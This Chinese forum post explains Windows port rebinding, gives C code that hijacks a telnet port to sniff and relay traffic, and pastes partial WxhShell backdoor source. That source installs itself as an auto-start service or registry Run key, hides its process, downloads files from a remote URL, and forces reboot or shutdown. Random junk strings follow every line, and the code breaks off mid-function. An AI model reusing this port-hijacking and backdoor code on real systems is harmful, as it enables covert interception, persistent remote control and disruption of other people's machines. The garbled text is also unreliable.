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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B6=8cf"i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :K2N7?shA  
r7w&p.?  
  saddr.sin_family = AF_INET; hQl3F6-ud  
6!b96bV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D!)'c(b  
Pi)`[\{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T#er5WOH  
~?[@KK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "t4~xs`~X  
#7gOtP#{  
  这意味着什么?意味着可以进行如下的攻击: {kW!|h&'  
m<"1*d~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QD / | zi  
yUEUIPL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IVEvu3  
c67O/ B(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ep?a1&b  
C{Aeud #5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B8[H><)o\y  
yUNl)E  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #4d 0/28b  
G 7zfyw}W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p3sz32RX  
% J+'7'g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 80:na7$)#  
c;(}Ih(#  
  #include KX`MX5?x  
  #include |$6Gp Aq!  
  #include -FE5sW  
  #include    EeL~`$f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6,cyi|s  
  int main() Yxi.A$g  
  { dd98v Vj  
  WORD wVersionRequested; + Uj~zx@  
  DWORD ret; RZDZ3W(;h  
  WSADATA wsaData; |@V<}2zCZ  
  BOOL val; ?t?!)#X  
  SOCKADDR_IN saddr; dL[mX .j"  
  SOCKADDR_IN scaddr; P]!eM(  
  int err; eQzSWn[  
  SOCKET s; Pf(z0o&  
  SOCKET sc; MF%9  
  int caddsize; #l{qb]n]  
  HANDLE mt; ~~wz05oRG  
  DWORD tid;   >f}rM20Vm  
  wVersionRequested = MAKEWORD( 2, 2 ); W)j/[  
  err = WSAStartup( wVersionRequested, &wsaData ); ' 71D:%p  
  if ( err != 0 ) { L88oh&M  
  printf("error!WSAStartup failed!\n"); umD .  
  return -1; /UM9g+Bb  
  } coU`2n/  
  saddr.sin_family = AF_INET; ~Dgui/r9J  
   JnPA;1@/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qmJFXnf  
[.|tD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u9k##a4.E  
  saddr.sin_port = htons(23); |V:k8Ab  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j3A+:KDn3n  
  { h:j-Xd$H+  
  printf("error!socket failed!\n"); MqXA8D  
  return -1; d+"KXt5CV  
  } 3$WK%"%T  
  val = TRUE;  EMJio\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /m9t2,KB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :t9(T?2  
  { SE%i@}  
  printf("error!setsockopt failed!\n"); A}[Lk#|n  
  return -1; eN,m8A`/S  
  } ka"jv"z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ilpg()  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P'Rr5Xa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S.M< (  
!tX14O~B-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U3A>#EV  
  { 5M*q{kX)  
  ret=GetLastError(); !)_5z<  
  printf("error!bind failed!\n"); l.b  
  return -1; %Sxy!gGz%%  
  } P,tN;c  
  listen(s,2); ;?%2dv2d  
  while(1) iY.~N#Q  
  { NL2n\%n  
  caddsize = sizeof(scaddr); p7 2+:I  
  //接受连接请求 Gf]oRNP,N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zXZy:SD  
  if(sc!=INVALID_SOCKET) ~+^,o_hT  
  { 2yeq2v   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {TUCa  
  if(mt==NULL) uyAhN  
  { UDuKG\_J<y  
  printf("Thread Creat Failed!\n"); _VR4 |)1g  
  break; _v]I6<!5U  
  } &t p5y}=n  
  } Wpj.G  
  CloseHandle(mt); -YS n 3=  
  } (;Lz `r'  
  closesocket(s); C|z`hNp  
  WSACleanup(); |%zhwDQ.  
  return 0; lywcT! <  
  }   l\MiG Na  
  DWORD WINAPI ClientThread(LPVOID lpParam) c WK@O>  
  { .[K{;^>  
  SOCKET ss = (SOCKET)lpParam; %;^6W7  
  SOCKET sc; X2sK<Qluql  
  unsigned char buf[4096]; RAf+%h*  
  SOCKADDR_IN saddr; zXVQLz5  
  long num; a$;+-Y  
  DWORD val; qxd{c8  
  DWORD ret; & +%CC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '90B),c{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L~vNW6#W  
  saddr.sin_family = AF_INET; y0A2{'w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )Tb{O  
  saddr.sin_port = htons(23); ,0#OA* 0B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ) e;F@o3  
  { dqd Qt_  
  printf("error!socket failed!\n"); T_YN^za(q  
  return -1; G)b]uX  
  } !gJAK<]iW  
  val = 100; <<n8P5pXt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G-,PsXSwe  
  { P=u)Q _  
  ret = GetLastError(); xx/DD%IZ  
  return -1; 1 4(?mM3   
  } ?\^u},HnE|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Za=<euc7  
  { !kmo% +  
  ret = GetLastError(); Y]P $|JW):  
  return -1; )%#hpP M^  
  } *OsXjL`f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i<%(Z[9Lk  
  { _$Z46wHmB  
  printf("error!socket connect failed!\n"); B=n]N+  
  closesocket(sc); Az0Yt31=  
  closesocket(ss); ;{HxY98Q  
  return -1; sH+]lTSX6{  
  } QouTMS-b  
  while(1) s'/.ea V_  
  { A.z~wu%(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :_^9.`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _VY]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 kTFN.kQx@  
  num = recv(ss,buf,4096,0); q8[Nr3.  
  if(num>0) Li<c  
  send(sc,buf,num,0); drb_GT  
  else if(num==0) B5tJ|3!  
  break; urtcSq&H'  
  num = recv(sc,buf,4096,0); EE%OD~u&9#  
  if(num>0) )FU4iN)ei  
  send(ss,buf,num,0); -B`;Sx  
  else if(num==0) ;>Z#1~8  
  break; o8Bo%OjE  
  } O`@$YXuD  
  closesocket(ss); c~$ipX   
  closesocket(sc); qTffh{q V  
  return 0 ; Tri.>@-u  
  } v,>q]! |a  
J^t=.-a|  
~vF.k,  
========================================================== y`(z_5ClT  
&4{%3w_/  
下边附上一个代码,,WXhSHELL LO` (V  
W^y F5  
========================================================== 0Fi7|  
v $ pA Rt  
#include "stdafx.h" ]8H;LgM2  
9&2kuLp?P  
#include <stdio.h> FWD9!M K  
#include <string.h> kg !@i7  
#include <windows.h> ^[ id8  
#include <winsock2.h> .Hgiru&  
#include <winsvc.h> # ^%'*/z  
#include <urlmon.h> _IgG8)k;  
$@K+yOq+u  
#pragma comment (lib, "Ws2_32.lib") yGN<.IP75  
#pragma comment (lib, "urlmon.lib") ;9prsvf  
;dB=/U>3U  
#define MAX_USER   100 // 最大客户端连接数 ,xR^8G 8  
#define BUF_SOCK   200 // sock buffer *nH?o* #  
#define KEY_BUFF   255 // 输入 buffer !Noabt  
H M76%9!  
#define REBOOT     0   // 重启 yLY2_p- X  
#define SHUTDOWN   1   // 关机 4!monaB"e  
NtA}I)'SWU  
#define DEF_PORT   5000 // 监听端口  c<4pu  
wef QmRK  
#define REG_LEN     16   // 注册表键长度 $'&`k,a3|P  
#define SVC_LEN     80   // NT服务名长度 Ay2|@1e  
 nbOMtK  
// 从dll定义API - 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E^|b3G6T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y RA[qc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^pg5o)M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j.m-6  
KIuYWr7&  
// wxhshell配置信息 52:oe1-8  
struct WSCFG { \x|(`;{  
  int ws_port;         // 监听端口 2 3>lE}^G  
  char ws_passstr[REG_LEN]; // 口令 ~ xXB !K~C  
  int ws_autoins;       // 安装标记, 1=yes 0=no H9 't;Do  
  char ws_regname[REG_LEN]; // 注册表键名 YjsaTdZ!&  
  char ws_svcname[REG_LEN]; // 服务名 i5)trSM|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 - +>~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %r|fuwwJO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  rZDKVx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no op"Cc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;f6G&>p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,a?em'=  
4>, <b1Y  
};  Q.cxen  
;GvyL>|-~  
// default Wxhshell configuration < 27e7H*6  
struct WSCFG wscfg={DEF_PORT, ; /EH@V|  
    "xuhuanlingzhe", Q[g%((DL  
    1, ;((gmg7,  
    "Wxhshell", ^]Gt<_  
    "Wxhshell", g*^"x&  
            "WxhShell Service", a+J :1'  
    "Wrsky Windows CmdShell Service", o 'yR^`  
    "Please Input Your Password: ", YF."D%?  
  1, .4?M.Z4[  
  "http://www.wrsky.com/wxhshell.exe", .Yh-m  
  "Wxhshell.exe" BT`6v+,h7k  
    }; JU"!qXQr  
d)dIIzv  
// 消息定义模块 5 bMVDw/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EJL45R>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qWr`cO~hc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v[HxO?x^  
char *msg_ws_ext="\n\rExit."; OlV>zam  
char *msg_ws_end="\n\rQuit."; } |sP;Rpu  
char *msg_ws_boot="\n\rReboot...";  ~LkReQI  
char *msg_ws_poff="\n\rShutdown..."; CZ1 tqAk-  
char *msg_ws_down="\n\rSave to "; g#Yqw  
&A%#LVjf  
char *msg_ws_err="\n\rErr!";  V+(  
char *msg_ws_ok="\n\rOK!"; o5zth^p[  
Ue-HO  
char ExeFile[MAX_PATH]; ( 6r9y3'  
int nUser = 0; BHU(Hd  
HANDLE handles[MAX_USER]; ts)0+x  
int OsIsNt; ty/jTo}  
vA+RZ  
SERVICE_STATUS       serviceStatus; nA+[[(6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /&ph-4\i  
} #%sI"9  
// 函数声明 E<~/AReo  
int Install(void); 7b Gzun&  
int Uninstall(void); 0MPsF{Xw[  
int DownloadFile(char *sURL, SOCKET wsh); BNaZD<<  
int Boot(int flag); {feS-.Khv  
void HideProc(void); c*6o{x}K  
int GetOsVer(void); 62Jn8DwAT  
int Wxhshell(SOCKET wsl); ,[~Ydth  
void TalkWithClient(void *cs); YM#XV*P0 q  
int CmdShell(SOCKET sock); 9E (>mN  
int StartFromService(void); hWDgMmo7  
int StartWxhshell(LPSTR lpCmdLine); E1VCm[j2  
E8IWHh_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qaagi `  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TcRnjsY$  
5X~ko>  
// 数据结构和表定义 r$0=b -  
SERVICE_TABLE_ENTRY DispatchTable[] = z<@$$Z=0UF  
{ k&^Megcb  
{wscfg.ws_svcname, NTServiceMain}, BNzL+"W  
{NULL, NULL} nPv2: x  
}; +ES.O]?>  
_NZ) n)  
// 自我安装 D Zh6/n#q  
int Install(void) P.[>x  
{ 6W#+U<  
  char svExeFile[MAX_PATH]; Jl5<9x  
  HKEY key; 6aK%s{%3s  
  strcpy(svExeFile,ExeFile); Fs&m'g  
`L {dF  
// 如果是win9x系统,修改注册表设为自启动 m>-(c=3  
if(!OsIsNt) { g}'(V>(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l}mzCIw%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N2`u ]*"0  
  RegCloseKey(key); J/^|Y6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b{lkl?@a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u9)<i]2  
  RegCloseKey(key); ]}jY] l  
  return 0; fAV=O%^  
    } 3gY4h*|`<  
  } RLX?3u&  
} W\<p`xHk  
else { oF#]<Z\  
m_r_4BP  
// 如果是NT以上系统,安装为系统服务 ( O/+.qb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `xd{0EvF  
if (schSCManager!=0) hh"=|c  
{ (Y?" L_pC  
  SC_HANDLE schService = CreateService [<7Vv_\Q  
  ( dtUt2r)6L;  
  schSCManager, k{j (Gb2sp  
  wscfg.ws_svcname, D3-H!TFpDb  
  wscfg.ws_svcdisp, 4) ~ GHb  
  SERVICE_ALL_ACCESS, i:,37INMt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "6 fTZ<  
  SERVICE_AUTO_START, `)s>},8W!  
  SERVICE_ERROR_NORMAL, 7= x]p  
  svExeFile, z'ZGN{L  
  NULL, qddP-uN  
  NULL, 9% AL f 9  
  NULL, ]Vgl  
  NULL, do(komP<\  
  NULL \~bE|jWbj  
  ); '1yy&QUZq  
  if (schService!=0) (@1*-4l  
  { hh>mX6A  
  CloseServiceHandle(schService); ckPI^0A!  
  CloseServiceHandle(schSCManager); f")*I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xYCX}bksh  
  strcat(svExeFile,wscfg.ws_svcname); R2$;f?;:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f,}]h~w\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GS4 HYF  
  RegCloseKey(key); ce\ F~8y  
  return 0; E>3fk  
    } `CQMvX{  
  } W g2Y`2@t  
  CloseServiceHandle(schSCManager); l4s_9  
} tJ,x>s?Y  
} ?4i:$.A Y  
4#BoS9d2I<  
return 1; )R`w{V  
} X#*|_(^  
;n,@[v  
// 自我卸载 @dj 2#  
int Uninstall(void) P7i G,i  
{ px1{=~V/  
  HKEY key; "' hc)58y  
|_J[n !~f7  
if(!OsIsNt) { idr,s\$>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Vqp o/  
  RegDeleteValue(key,wscfg.ws_regname); Q}MS $[y  
  RegCloseKey(key); Ll !J!{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #c ndq[H  
  RegDeleteValue(key,wscfg.ws_regname); Z'~yUo=  
  RegCloseKey(key); v8xNtUxN  
  return 0; 6T5nr  
  } Cq,ox'kGl  
} YdK]%%  
} PDnwaK   
else { zi*2>5g  
`2@t) :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o(I[_oUy\  
if (schSCManager!=0) 007SA6xq  
{ [fU2$(mT+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )MKzAAt~  
  if (schService!=0) 9zS   
  { 4P"bOt5izR  
  if(DeleteService(schService)!=0) { Z1:%Aq xP  
  CloseServiceHandle(schService); l^OflZC~  
  CloseServiceHandle(schSCManager); vf$IF|  
  return 0; qTN%9!0@9  
  } 4obW>  
  CloseServiceHandle(schService); =<#G~8WYz  
  } w^ OB  
  CloseServiceHandle(schSCManager); lixM0  
} xb<|m2<)H  
} l)dE7$H  
vV*J;%MO  
return 1; <nN.$4~X  
} i>]PW|]  
l_yF;5|?z  
// 从指定url下载文件 '"\'<>Be  
int DownloadFile(char *sURL, SOCKET wsh) > *VvV/UU  
{ S2;^  
  HRESULT hr; C}pm>(F~  
char seps[]= "/"; \~z$'3H`  
char *token; z<mN-1PM7&  
char *file; )\ceanS  
char myURL[MAX_PATH]; k&%i+5X  
char myFILE[MAX_PATH]; c9fz x  
L!zdrCM  
strcpy(myURL,sURL); VQ| {Q}  
  token=strtok(myURL,seps); /\b* oPWJ  
  while(token!=NULL) Zfcf?&><  
  { N`,\1hHMT  
    file=token; <j>;5!4!}  
  token=strtok(NULL,seps); 7/51_=%kR  
  } $/D?Vw:]  
Ao$k[#px  
GetCurrentDirectory(MAX_PATH,myFILE); h !K" ;qw  
strcat(myFILE, "\\"); *bf 5A9  
strcat(myFILE, file); Ycspdl+(S$  
  send(wsh,myFILE,strlen(myFILE),0); |xcC'1WU  
send(wsh,"...",3,0); #jrlNg4(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BK+P  
  if(hr==S_OK) ?%UiW7}j';  
return 0; 2=n`z) R  
else -43>?m/a  
return 1; _!qD/ [/  
*c[w9(fU  
} @4T   
jIT|Kk&]  
// 系统电源模块 xS tsw5d  
int Boot(int flag) aH?Ygzw  
{ bUm%#a  
  HANDLE hToken; {+hABusq  
  TOKEN_PRIVILEGES tkp; 8`urkEI^r  
5~?6]=hl  
  if(OsIsNt) { 5%WAnh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3kC|y[.&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H Eq{TUTr  
    tkp.PrivilegeCount = 1; >_ZEQC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5)T[ha77u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lWj*tnnn[  
if(flag==REBOOT) { J.R\h!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MWA,3I\.  
  return 0; FsJk"$}  
} \ opM}qZ  
else { #J&3Zds  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C0N}B1-MU  
  return 0; 'hU5]}=  
} ^rO"U[To  
  } :cWU,V  
  else { rP7 QW)NF  
if(flag==REBOOT) { s0;a j<J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |{kbc0*  
  return 0; gR# k'   
} ,zM@)Q ;9  
else { 9gw;MFP)D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?SFQx \/  
  return 0; uc@4fn  
} z6@8IszU  
} PB$beQ  
OS@uGp=  
return 1; x;yvv3-$  
} N s0,Z#Z+  
0}NDi|o  
// win9x进程隐藏模块 yPtE5"(o  
void HideProc(void) 2H.g!( Oza  
{ /-FV1G,h  
Rk g8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J^jd@E  
  if ( hKernel != NULL ) KLW5Ad:/rI  
  { bl a`B=r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aUEr& $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fub04x)  
    FreeLibrary(hKernel); <DR|r  
  } "NA<^2W@J  
XyN " Jr  
return; $+GDPYm'  
} u*2?Gky  
R;Dj70g  
// 获取操作系统版本 ;LP3  
int GetOsVer(void) Wjl2S+Cc  
{ Dch\k<Te  
  OSVERSIONINFO winfo; o0`']-)*2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <L4$f(2  
  GetVersionEx(&winfo); 3S+9LOrhY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PF/K&&9}  
  return 1; #)~u YQ  
  else 5Z_C (5)/Y  
  return 0; zTB&Wlt  
} u>9` ?O44  
Vu.=,G  
// 客户端句柄模块 vq(#Ih2  
int Wxhshell(SOCKET wsl) |E?r+]  
{ E&kv4,  
  SOCKET wsh; Y|r7gy9%  
  struct sockaddr_in client; 1!.-/  
  DWORD myID; 8k-]u3  
E& 6I`8  
  while(nUser<MAX_USER) :5&D 6  
{ 37kFbR@x  
  int nSize=sizeof(client); li3,6{S#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *`"+J_   
  if(wsh==INVALID_SOCKET) return 1; #'1dCh vZ  
/Z?o%/bw:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _?O'A"  
if(handles[nUser]==0) LJ <pE;`d  
  closesocket(wsh); _"Bj`5S  
else 0ex.~S_Oj4  
  nUser++;  :2nsi4  
  } $T3_~7N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xgcJEox!  
!i-t6f  
  return 0; [5L?#Y  
} 1-E6ACq  
r9{@e^Em  
// 关闭 socket -}UY2)  
void CloseIt(SOCKET wsh) 8_4!Ar>2  
{ e%)iDt\j  
closesocket(wsh); _x(hlHFk  
nUser--; 082iE G  
ExitThread(0); dV B#Np  
} *KDTBd  
hJ ^+asr  
// 客户端请求句柄 b]z_2h~`  
void TalkWithClient(void *cs) 1Z c=QJw@  
{ *]U`]!Esp  
@U=y}vi8  
  SOCKET wsh=(SOCKET)cs; ZcjLv  
  char pwd[SVC_LEN]; oH6zlmqG"  
  char cmd[KEY_BUFF]; JS ^Cc  
char chr[1]; n-8/CBEH(  
int i,j; %z@ Z^Jv  
b3-j2`#  
  while (nUser < MAX_USER) { +7w5m  
qzNb\y9G  
if(wscfg.ws_passstr) { Jyg1z,B <  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %]I#]jR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &zy%_U2%  
  //ZeroMemory(pwd,KEY_BUFF); AVD hgJv  
      i=0; M^oL.'  
  while(i<SVC_LEN) { ^L $`)Ja  
VnW6$W?g  
  // 设置超时 bdstxjJ`  
  fd_set FdRead; :5/Ue,~ag  
  struct timeval TimeOut; EF:ec9 .  
  FD_ZERO(&FdRead); 'qT;Eht5  
  FD_SET(wsh,&FdRead); +Xw%X3o)  
  TimeOut.tv_sec=8; dQ{qA(m  
  TimeOut.tv_usec=0; C8|Ls(4Ck  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); + GQ{{B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $,by!w'e:l  
D%o(HS\E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x+4K,r;  
  pwd=chr[0]; ^/E'Rf3[A  
  if(chr[0]==0xd || chr[0]==0xa) { ^AU-hVj  
  pwd=0; trrNu  
  break; .q MxShUU  
  } &j:prc[W  
  i++; 'e]>lRZ  
    } N}U+K  
QxW+|Gt._  
  // 如果是非法用户,关闭 socket }O~D3z4l0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :1qLRr  
} K!CVS7  
5B:"$vC{=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QEqYqAGzu|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5PeYQ-B|  
WMC^G2 n  
while(1) { 3G4WKg.^  
1W >/4l  
  ZeroMemory(cmd,KEY_BUFF); h?dSn:Y\?  
heIys.p  
      // 自动支持客户端 telnet标准   wX)'1H):T  
  j=0; zNo,PERG  
  while(j<KEY_BUFF) { @Ik5BT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o`Z3}  
  cmd[j]=chr[0]; aMe &4Q  
  if(chr[0]==0xa || chr[0]==0xd) { 0-uj0"r`  
  cmd[j]=0; aB~k8]q.  
  break;  m,+PYq  
  } 9J7yR}2-F  
  j++; 5(CInl  
    } F>{bVPh VA  
}bw^p.ci  
  // 下载文件 i695P}J2  
  if(strstr(cmd,"http://")) { Fu{VO~w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =:g\I6'a  
  if(DownloadFile(cmd,wsh)) Ld_uMe?Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QmSj6pB>  
  else r&R~a9+)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cu%BU}(  
  } ASi2;Q_{_  
  else { A7Y CSjB  
-<x%  
    switch(cmd[0]) { ^n~Kr1}nj  
  BDfMFH[1  
  // 帮助 .a2R2~35  
  case '?': { [.|& /O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R-pON4D"*  
    break; `/m] K ~~  
  } dY$nw  
  // 安装 8HLL3H0  
  case 'i': { ,Zie2I?q  
    if(Install()) W!ug^2"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|ee`"`  
    else xp:I(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C\"C12n{  
    break; YYI0iM>  
    } bhRa?wuoY  
  // 卸载 kPy7e~  
  case 'r': { A iR#:r  
    if(Uninstall()) ;FwUUKj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tpzWi W/  
    else p Cx_[#DrP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kygj" @EX  
    break; 2IHS)kkT|  
    } FB?V<x  
  // 显示 wxhshell 所在路径 _0naqa!JyH  
  case 'p': { ![{/V,V]~  
    char svExeFile[MAX_PATH]; Fi+ DG?zu  
    strcpy(svExeFile,"\n\r"); u7J:ipyiq2  
      strcat(svExeFile,ExeFile); of7'?]w  
        send(wsh,svExeFile,strlen(svExeFile),0); |a[" ^ 2  
    break; >nehyo:#  
    } JK{2 hr_a  
  // 重启 kQ\l7xd  
  case 'b': { e 0$m<5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E}w5.1  
    if(Boot(REBOOT))  1l}Am>}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dc emF  
    else { #Z]Cq0=  
    closesocket(wsh); 56c3tgVF  
    ExitThread(0); , =*^XlO=c  
    } Z< C39s  
    break; ]_s;olKNI  
    } V=1yg24B<  
  // 关机 Vd.XZ*}r*  
  case 'd': { -H\j-k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,,EG"Um6  
    if(Boot(SHUTDOWN)) kSge4?&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "_dJ4<8  
    else { |d42?7}  
    closesocket(wsh); k|]l2zlT  
